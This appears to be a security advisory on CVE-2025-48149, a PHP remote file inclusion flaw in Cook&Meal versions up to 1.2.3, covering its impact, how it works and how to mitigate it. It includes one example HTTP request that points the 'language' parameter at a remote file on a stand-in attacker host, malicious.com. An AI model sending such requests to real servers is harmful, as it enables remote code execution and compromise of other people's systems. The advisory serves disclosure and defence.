Overview
In the ever-advancing sphere of cybersecurity, emerging threats and vulnerabilities constantly challenge the integrity of our digital systems. One such vulnerability, identified as CVE-2025-48149, exposes a critical weakness in the Cook&Meal software. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to execute arbitrary PHP code remotely. It affects all versions of Cook&Meal up to and including 1.2.3. Given the high severity score of 8.1 assigned by the Common Vulnerability Scoring System (CVSS), it’s vital for users and administrators to understand the implications and take immediate remedial actions.
Vulnerability Summary
CVE ID: CVE-2025-48149
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and/or Data Leakage
Affected Products
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Product | Affected Versions
Cook&Meal | Up to and including 1.2.3
How the Exploit Works
The vulnerability stems from improper control of the filename for an include/require statement in a PHP program within Cook&Meal. This flaw allows an attacker to control the input path for the file, leading to the inclusion of remote files hosted on an attacker-controlled server. The attacker can then execute arbitrary PHP code within the server’s context, potentially leading to a full system compromise.
Conceptual Example Code
An attacker could exploit this vulnerability by sending a specially crafted request to the vulnerable application. A conceptual example of this might look like the following HTTP request:
GET /index.php?language=http://malicious.com/evilcode.txt HTTP/1.1
Host: target.example.comIn this example, the ‘language’ parameter would typically be used to include a local file that contains language-specific text for the application. However, due to the vulnerability, the attacker has manipulated it to include a remote file (`evilcode.txt`) hosted on their control server (`malicious.com`).
Mitigation and Recommendations
The most effective way to address this vulnerability is by applying the vendor-supplied patch. In the absence of a patch or while waiting for its deployment, organizations can use web application firewalls (WAFs) or intrusion detection systems (IDS) to monitor and block suspicious activities related to this exploit. Regular system and application updates should also form part of a comprehensive cybersecurity strategy to prevent similar vulnerabilities in the future.
